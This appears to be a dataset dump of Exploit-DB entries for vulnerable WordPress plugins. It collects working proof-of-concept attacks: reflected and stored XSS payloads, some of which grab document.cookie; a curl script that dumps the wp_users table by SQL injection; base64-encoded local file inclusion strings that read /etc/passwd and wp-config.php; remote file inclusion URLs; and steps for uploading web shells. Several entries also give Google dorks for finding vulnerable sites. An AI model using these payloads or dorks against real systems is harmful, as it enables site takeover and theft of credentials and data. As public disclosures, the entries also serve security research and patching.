deardaniel/secdata-raw huggingface dataset:
Exploit-DB #44366
Description: WordPress Plugin Relevanssi 4.0.4 - Reflected Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-03-30
Author: Stefan Broeder

Exploit:
# Exploit Title : Relevanssi Wordpress Search Plugin Reflected Cross Site Scripting (XSS)
# Date: 23-03-2018 
# Exploit Author : Stefan Broeder
# Contact : https://twitter.com/stefanbroeder
# Vendor Homepage: https://www.relevanssi.com
# Software Link: https://wordpress.org/plugins/relevanssi
# Version: 4.0.4
# CVE : CVE-2018-9034
# Category : webapps

Description
===========
Relevanssi is a WordPress plugin with more than 100.000 active installations. Version 4.0.4 (and possibly previous versions) are affected by a Reflected XSS vulnerability.

Vulnerable part of code
=======================
File: relevanssi/lib/interface.php:1055 displays unescaped value of $_GET variable 'tab'.

..
1049 if( isset( $_REQUEST[ 'tab' ] ) ) { 
1050 $active_tab = $_REQUEST[ 'tab' ]; 
1051 } // end if 
1052
1053 if ($active_tab === "stopwords") $display_save_button = false; 
1054
1055 echo "<input type='hidden' name='tab' value='$active_tab' />"; 
..

Impact
======
Arbitrary JavaScript code can be run on browser side if a logged in WordPress administrator is tricked to click on a link or browse a URL under the attacker control.
This can potentially lead to creation of new admin users, or remote code execution on the server.

Proof of Concept
============
In order to exploit this vulnerability, the attacker needs to have the victim visit the following link:

/wp-admin/options-general.php?page=relevanssi%2Frelevanssi.php&tab='><SCRIPT>var+x+%3D+String(%2FXSS%2F)%3Bx+%3D+x.substring(1%2C+x.length-1)%3Balert(x)<%2FSCRIPT><BR+

Please note that quotes and double quotes are properly escaped by WordPress, however javascript escaping (\) is applied while the value is in an HTML attribute. There, escaping a quote by \' has no effect (&quot should be used). This allows us to break out of the HTML attribute and start the script tag. Within the script, quotes are properly escaped but there are ways to obfuscate javascript without requiring these symbols as can be seen in above payload.


Solution
========

Update to version 4.1
Exploit-DB #17869
Description: WordPress Plugin Relocate Upload 0.14 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2011-09-19
Author: Ben Schmidt

Exploit:
# Exploit Title: Relocate Upload Wordpress plugin RFI
# Google Dork: inurl:wp-content/plugins/relocate-upload
# Date: 09/19/2011
# Author: Ben Schmidt (supernothing (AT) spareclockcycles.org @_supernothing)
# Software Link: http://wordpress.org/extend/plugins/relocate-upload/download/
# Version: 0.14 (tested)

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/relocate-upload/relocate-upload.php?ru_folder=asdf&abspath=RFI

---
Vulnerable Code
---
// Move folder request handled when called by GET AJAX
if (isset($_GET['ru_folder']))
{       // WP setup and function access
        define('WP_USE_THEMES', false);
        require_once(urldecode($_GET['abspath']).'/wp-load.php'); // save us looking for it, it's passed as a GET parameter
Exploit-DB #44563
Description: WordPress Plugin Responsive Cookie Consent 1.7 / 1.6 / 1.5 - (Authenticated) Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-05-01
Author: B0UG

Exploit:
# Exploit Title: Wordpress Responsive Cookie Consent 1.7 / 1.6 / 1.5 - Authenticated Persistent Cross-Site Scripting
# Date: 2018-04-20
# Exploit Author: B0UG
# Vendor Homepage: http://www.jameskoussertari.co.uk/
# Software Link: https://en-gb.wordpress.org/plugins/responsive-cookie-consent/
# Version: Tested on version 1.5 / 1.6 /1.7 (older versions may also be affected)
# Tested on: WordPress
# Category : Webapps
# CVE: CVE-2018-10309

#I. VULNERABILITY

Authenticated Persistent Cross-Site Scripting
 
#II. BACKGROUND
Responsive Cookie Consent is open source software kindly developed by James Koussertari to display cookie consent notifications on a WordPress website.

#III. DESCRIPTION
A authenticated persistent cross-site scripting vulnerability has been found in the web interface of the plugin that allows the execution of arbitrary HTML/script code to be executed in the victim's browser when they visit the web site.

#IV. PROOF OF CONCEPT
1) Access WordPress control panel.
2) Navigate to the Responsive Cookie Consent plugin page.
3) Select one of the input fields. For example, "Cookie Bar Border Bottom Size".
4) Insert the script you wish to inject.
5) Save the plugin settings.
6) Injected script will run in the victim's browser. Depending on which input field you inserted the script, the script may also run everytime you load the Responsive Cookie Consent plugin page.

#V. IMPACT
An attacker can execute malicious code in a victim's browser to perform various activities such as stealing cookies, session tokens, credentials and personal data amongst others.
 
#VI. SYSTEMS AFFECTED
WordPress websites running "Responsive Cookie Consent" plugin version 1.5 (older versions may also be affected).
 
#VII. REMEDIATION
Update to the latest version available. Implement a web application such as Wordfence.

#VIII. DISCLOSURE TIMELINE
#February 8, 2018 1: Vulnerability identified.
#February 8, 2018 2: Informed developer of the vulnerability.
#February 8, 2018 2: Developer acknowledged the vulnerability.
#February 10, 2018 2: Developer issued a security patch.
#February 12, 2018 2: Informed developer of further vulnerabilities.
#February 13, 2018 2: Developer issued a further two security patches.
Exploit-DB #37998
Description: WordPress Plugin Responsive Thumbnail Slider 1.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2015-08-28
Author: Arash Khazaei

Exploit:
# Exploit Title: Wordpress Responsive Thumbnail Slider Arbitrary File Upload
# Date: 2015/8/29
# Exploit Author: Arash Khazaei
# Vendor Homepage:
https://wordpress.org/plugins/wp-responsive-thumbnail-slider/
# Software Link:
https://downloads.wordpress.org/plugin/wp-responsive-thumbnail-slider.zip
# Version: 1.0
# Tested on: Kali , Iceweasel Browser
# CVE : N/A
# Contact : http://twitter.com/0xClay
# Email : 0xclay@gmail.com
# Site : http://bhunter.ir

# Intrduction :

# Wordpress Responsive Thumbnail Slider Plugin iS A With 6000+ Active
Install
# And Suffer From A File Upload Vulnerability Allow Attacker Upload Shell
As A Image .
# Authors , Editors And Of Course Administrators This Vulnerability To Harm
WebSite .

# POC :

# For Exploiting This Vulnerability :

# Go To Add Image Section And Upload File By Self Plugin Uploader
# Then Upload File With Double Extension Image
# And By Using A BurpSuite Or Tamper Data Change The File Name From
Shell.php.jpg To Shell.php
# And Shell Is Uploaded . :)



<!-- Discovered By Arash Khazaei (Aka JunkyBoy) -->
Exploit-DB #48918
Description: WordPress Plugin Rest Google Maps < 7.11.18 - SQL Injection
Type: webapps
Platform: php
Date: 2020-10-20
Author: Jonatas Fil

Exploit:
# Exploit Title: WordPress Rest Google Maps Plugin SQL Injection
# Google Dork: inurl:index.php?rest_route=3D/wpgmza/
# Date: 2020-09-09
# Exploit Author: Jonatas Fil
# Vendor Homepage: https://wordpress.org/plugins/wp-google-maps/#developers
# Software Link: https://wordpress.org/plugins/wp-google-maps/
# Version: < 7.11.18
# Tested on: Linux
# CVE : CVE-2019-10692 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2019-10692)
#!/bin/bash

TARGET="192.168.1.77"

curl -k --silent
"http://$TARGET/index.php?rest_route=3D/wpgmza/v1/markers/&filter=3D%7B%7D&=
fields=3D*+from+wp_users+--+-"
| jq
Exploit-DB #19791
Description: WordPress Plugin Resume Submissions & Job Postings 2.5.1 - Unrestricted Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-07-13
Author: Chris Kellum

Exploit:
# Exploit Title: WordPress Resume Submissions & Job Postings v2.5.1 Unrestricted File Upload
# Date: 7/9/12
# Exploit Author: Chris Kellum
# Vendor Homepage: http://www.geerservices.com/
# Software Link: http://downloads.wordpress.org/plugin/resume-submissions-job-postings.2.5.1.zip
# Version: 2.5.1



=====================
Vulnerability Details
=====================

When submitting a resume, the "file attachment" upload does not restrict any file types.

Attachments are uploaded to the following folder:

/wp-content/uploads/rsjp/attachments/

File names are rewritten by the following code in lines 193-197 of /wp-content/plugins/resume-submissions-job-postings/includes/functions.php:

	foreach( $_FILES[$input]['error'] as $key => $error ){

		if ( $error == UPLOAD_ERR_OK ) {

			$tmpName  = $_FILES[$input]['tmp_name'][$key];

			$ext      = getExtension( $_FILES[$input]['name'][$key] );

			$name     = md5( date( 'Y-m-d H:i:s' ) ) . '-' . $count . '.' . $ext;

================
Proof of Concept
================

When submitting the resume form, attach a shell (c99.php, etc.) or file of your choice as a "file attachment."

After submitting the form, navigate to /wp-content/uploads/rsjp/attachments/ to find all uploaded attachments.

Locate your file by searching for the file extension (.php, etc.) or by file size.

Alternatively, your uploaded file can be accessed directly by understanding how the plugin renames files.

The plugin creates an MD5 hash of the server date and time, appends a hyphen and the number of the upload, followed by the file extension.

Example:

If server date and time is 2012-07-09 21:22:20 and only one file is attached, file name will be output as 813a2040e8ef7fe[PII_REDACTED]409b562-1.php, which can be located at /wp-content/uploads/rsjp/attachments/813a2040e8ef7fe[PII_REDACTED]409b562-1.php

To retrieve server date and time, use an intercepting proxy such as Burp Suite and check the history to locate the date/time that the server returned the 200 code after submitting the resume form.

In PoC, 1 second was added to the time in order to properly locate the uploaded file. If the 200 code was sent at 2012-07-09 21:22:19, MD5 encoding 2012-07-09 21:22:20 would create the proper file name.
Exploit-DB #37653
Description: WordPress Plugin Rich Widget - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-08-22
Author: Crim3R

Exploit:
source: https://www.securityfocus.com/bid/55174/info

The Rich WidgetPlugin for WordPress is prone to an arbitrary file-upload vulnerability.

An attacker can exploit this issue to upload arbitrary PHP code and run it in the context of the Web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible. 

http://www.example.com/wp-content/plugins/rich-widget/fckeditor/editor/filemanager/connectors/test.html
Exploit-DB #24229
Description: WordPress Plugin Ripe HD FLV Player - SQL Injection
Type: webapps
Platform: php
Date: 2013-01-19
Author: Zikou-16

Exploit:
-------------------------------------------------------------------
Wordpress plugins - ripe-hd-player FD/SQL Injection Vulnerability 
-------------------------------------------------------------------
# Vendor: http://www.hitasoft.com/products.php 
#####
# Author => Zikou-16
# E-mail => zikou16x@gmail.com
# Facebook => http://fb.me/Zikou.se
# Google Dork => inurl:"/wp-content/plugins/ripe-hd-player/"
# Tested on : Windows 7 , Backtrack 5r3
####
 
#=> Exploit Info :
------------------
# The attacker can access to the database & get username & password ....... &  disclosure the Full Path 
------------------

#=> Exploit :
------------------
1#=> Full Path Disclosure :

http://[target]/[path]/wp-content/plugins/ripe-hd-player/index.php
http://[target]/[path]/wp-content/plugins/ripe-hd-player/installer.php 

-------
2#=> SQL Injection 

http://[target]/[path]/wp-content/plugins/ripe-hd-player/config.php?id=2'[inj3ct h3re]

------------------------------ <= Th3 End ^_^'
Exploit-DB #37252
Description: WordPress Plugin RobotCPA V5 - Local File Inclusion
Type: webapps
Platform: php
Date: 2015-06-10
Author: T3N38R15

Exploit:
# Exploit Title: Wordpress Plugin RobotCPA V5 - Local File Include
# Google Dork: inurl:"/wp-content/plugins/robotcpa/"
# Date: 09.06.2015
# Exploit Author: T3N38R15
# Vendor Homepage: http://robot-cpa.good-info.co/
# Version: 5V
# Tested on: Windows (Firefox)
                   Linux      (Firefox)
The affected file is f.php and the get-parameter "l" is vulnerable to local file inclusion.
We just need to base64 encode our injection.
Like that : 
php://filter/resource=./../../../wp-config.php
cGhwOi8vZmlsdGVyL3Jlc291cmNlPS4vLi4vLi4vLi4vd3AtY29uZmlnLnBocA==
or
file:///etc/passwd
ZmlsZTovLy9ldGMvcGFzc3dk

our injection look then like that :
http://domain.com/wp-content/plugins/robotcpa/f.php?l=ZmlsZTovLy9ldGMvcGFzc3dk
and we can see the content of the passwd file.

greets to Black Sniper
Regards T3N38R15
Exploit-DB #38133
Description: WordPress Plugin RokBox Plugin - '/wp-content/plugins/wp_rokbox/jwplayer/jwplayer.swf?abouttext' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-12-17
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/56953/info

The TimThumb plug-in for WordPress is prone to multiple security vulnerabilities, including:

1. A cross-site scripting vulnerability
2. Multiple security-bypass vulnerabilities
3. An arbitrary file-upload vulnerability
4. An information-disclosure vulnerability
5. Multiple path-disclosure vulnerabilities
6. A denial-of-service vulnerability

Attackers can exploit these issues to bypass certain security restrictions, obtain sensitive information, perform certain administrative actions, gain unauthorized access, upload arbitrary files, compromise the application, access or modify data, cause denial-of-service conditions, steal cookie-based authentication credentials, or control how the site is rendered to the user; other attacks may also be possible. 

XSS (WASC-08) (in versions of Rokbox with older versions of TimThumb):

http://www.example.complugins/wp_rokbox/thumb.php?src=%3Cbody%20onload=alert(document.cookie)%3E.jpg

Full path disclosure (WASC-13):

http://www.example.complugins/wp_rokbox/thumb.php?src=http://

http://www.example.complugins/wp_rokbox/thumb.php?src=http://site/page.png&h=1&w=1111111

http://www.example.complugins/wp_rokbox/thumb.php?src=http://site/page.png&h=1111111&w=1

Abuse of Functionality (WASC-42):

http://www.example.complugins/wp_rokbox/thumb.php?src=http://site&h=1&w=1
http://www.example.complugins/wp_rokbox/thumb.php?src=http://site.flickr.com&h=1&w=1
(bypass of restriction on domain, if such restriction is turned on)

DoS (WASC-10):

http://www.example.complugins/wp_rokbox/thumb.php?src=http://site/big_file&h=1&w=1
http://www.example.complugins/wp_rokbox/thumb.php?src=http://site.flickr.com/big_file&h=1&w=1
(bypass of restriction on domain, if such restriction is turned on)

Arbitrary File Upload (WASC-31):

http://www.example.complugins/wp_rokbox/thumb.php?src=http://flickr.com.site.com/shell.php

Content Spoofing (WASC-12):

In parameter file there can be set as video, as audio files.

http://www.example.complugins/wp_rokbox/thumb.php?file=1.flv&backcolor=0xFFFFFF&screencolor=0xFFFFFF
http://www.example.complugins/wp_rokbox/thumb.php?file=1.flv&image=1.jpg
http://www.example.complugins/wp_rokbox/thumb.php?config=1.xml
http://www.example.complugins/wp_rokbox/jwplayer/jwplayer.swf?abouttext=Player&aboutlink=http://site

XSS (WASC-08):

http://www.example.complugins/wp_rokbox/jwplayer/jwplayer.swf?abouttext=Player&aboutlink=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2B

Information Leakage (WASC-13):

http://www.example.complugins/wp_rokbox/error_log

Leakage of error log with full paths.

Full path disclosure (WASC-13):

http://www.example.complugins/wp_rokbox/rokbox.php
Exploit-DB #38767
Description: WordPress Plugin RokIntroScroller - 'thumb.php' Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2013-09-19
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/62493/info

The RokIntroScroller plugin for WordPress is prone to multiple security vulnerabilities, including:

1. An arbitrary file-upload vulnerability
2. A cross-site scripting vulnerability
3. An information-disclosure vulnerability
4. A denial-of-service vulnerability

Attackers can exploit these issues to obtain sensitive information, upload arbitrary files, perform a denial-of-service attack, execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

RokIntroScroller 1.8 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-content/plugins/wp_rokintroscroller/thumb.php?src=%3Cbody%20onload=alert(document.cookie)%3E.jpg

http://www.example.com/wp-content/plugins/wp_rokintroscroller/thumb.php?src=http://www.example2.com/page.png&h=1&w=1111111

http://www.example.com/wp-content/plugins/wp_rokintroscroller/thumb.php?src=http://www.example2.com/big_file&h=1&w=1

http://www.example.com/wp-content/plugins/wp_rokintroscroller/thumb.php?src=http://www.example2.com/shell.php

http://www.example.com/wp-content/plugins/wp_rokintroscroller/rokintroscroller.php
Exploit-DB #38768
Description: WordPress Plugin RokMicroNews - 'thumb.php' Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2013-09-19
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/62513/info

The RokMicroNews plugin for WordPress is prone to multiple security vulnerabilities, including:

1. An information-disclosure vulnerability
2. A cross-site scripting vulnerability
3. An arbitrary file-upload vulnerability
4. A denial-of-service vulnerability

Attackers can exploit these issues to obtain sensitive information, upload arbitrary files, perform a denial-of-service attack, execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/wp-content/plugins/wp_rokmicronews/thumb.php?src=%3Cbody%20onload=alert(document.cookie)%3E.jpg

http://www.example.com/wp-content/plugins/wp_rokmicronews/thumb.php?src=http://

http://www.example.com/wp-content/plugins/wp_rokmicronews/thumb.php?src=http://www.example1.com/big_file&h=1&w=1

http://www.example.com/wp-content/plugins/wp_rokmicronews/thumb.php?src=http://www.example2.com/shell.php
Exploit-DB #38756
Description: WordPress Plugin RokNewsPager - 'thumb.php' Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2013-09-18
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/62458/info

The RokNewsPager plugin for WordPress is prone to multiple security vulnerabilities, including:

1. An information-disclosure vulnerability
2. A cross-site scripting vulnerability
3. An arbitrary file-upload vulnerability
4. A denial-of-service vulnerability

Attackers can exploit these issues to obtain sensitive information, upload arbitrary files, perform a denial-of-service attack, execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/wp-content/plugins/wp_roknewspager/thumb.php?src=%3Cbody%20onload=alert(document.cookie)%3E.jpg
http://www.example.com/wp-content/plugins/wp_roknewspager/thumb.php?src=http://
http://www.example.com/wp-content/plugins/wp_roknewspager/thumb.php?src=http://www.example.com/big_file&h=1&w=1
http://www.example.com/wp-content/plugins/wp_roknewspager/thumb.php?src=http://www.example2.com/shell.php
Exploit-DB #38757
Description: WordPress Plugin RokStories - 'thumb.php' Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2013-09-17
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/62459/info

The RokStories plugin for WordPress is prone to multiple security vulnerabilities, including:

1. An arbitrary file-upload vulnerability
2. A cross-site scripting vulnerability
3. An information-disclosure vulnerability
4. A denial-of-service vulnerability

Attackers can exploit these issues to obtain sensitive information, upload arbitrary files, perform a denial-of-service attack, execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

RokStories 1.25 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-content/plugins/wp_rokstories/thumb.php?src=%3Cbody%20onload=alert(document.cookie)%3E.jpg

http://www.example.com/wp-content/plugins/wp_rokstories/thumb.php?src=http://

http://www.example.com/wp-content/plugins/wp_rokstories/thumb.php?src=http://www.example.com/big_file&h=1&w=1

http://www.example.com/wp-content/plugins/wp_rokstories/thumb.php?src=http://www.example2.com/shell.php
Exploit-DB #35261
Description: WordPress Plugin RSS Feed Reader 0.1 - 'rss_url' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-01-23
Author: AutoSec Tools

Exploit:
source: https://www.securityfocus.com/bid/45997/info

The RSS Feed Reader WordPress Plugin is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

RSS Feed Reader WordPress Plugin 0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/wordpress/wp-content/plugins/rss-feed-reader/magpie/scripts/magpie_slashbox.php?rss_url=%3Cscript%3Ealert(0)%3C/script%3E
Exploit-DB #49778
Description: WordPress Plugin RSS for Yandex Turbo 1.29 - Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-04-21
Author: Himamshu Dilip Kulkarni

Exploit:
# Exploit Title: WordPress Plugin RSS for Yandex Turbo 1.29 - Stored Cross-Site Scripting (XSS)
# Date: 17/04/2021
# Exploit Author: Himamshu Dilip Kulkarni
# Software Link: https://wordpress.org/plugins/rss-for-yandex-turbo/
# Version: 1.29
# Tested on: Windows

#Steps to reproduce vulnerability:

1. Install WordPress 5.6
2. Install and activate "RSS for Yandex Turbo" plugin.
3. Navigate to Setting >> Яндекс.Турбо >> Счетчики and enter the data into all the six user input field and submit the request.
4. Capture the request into burp suite and append the following mentioned JavaScript payloads (one payload per parameter)
"+onmouseover="alert(1)
"+onmouseover="alert(2)
"+onmouseover="alert(3)
"+onmouseover="alert(4)
"+onmouseover="alert(5)
"+onmouseover="alert(6)
5. You will observe that the payloads got successfully stored into the database and when you move the mouse cursor over these fields the JavaScript payloads get executed successfully and we get a pop-up.
Exploit-DB #20474
Description: WordPress Plugin RSVPMaker 2.5.4 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-08-13
Author: Chris Kellum

Exploit:
# Exploit Title: WordPress RSVPMaker v2.5.4 Persistent XSS
# Date: 8/12/12
# Exploit Author: Chris Kellum
# Vendor Homepage: http://rsvpmaker.com/
# Software Link: http://downloads.wordpress.org/plugin/rsvpmaker.zip
# Version: 2.5.4



=====================
Vulnerability Details
=====================

The RSVP form does not properly sanitize input fields, allowing for XSS.

     Example:

          <script>alert(/xss/)</script>

Plugin appears to escape apostrophes and quotes, but this can easily be circumvented.

XSS will fire when the admin views the event's attendance list in the RSVP report section.

===================
Disclosure Timeline
===================

8/4/12 - Vulnerability discovered.
8/4/12 - Vendor notified.
8/10/12 - Version 2.5.5 released.
8/12/12 - Public disclosure.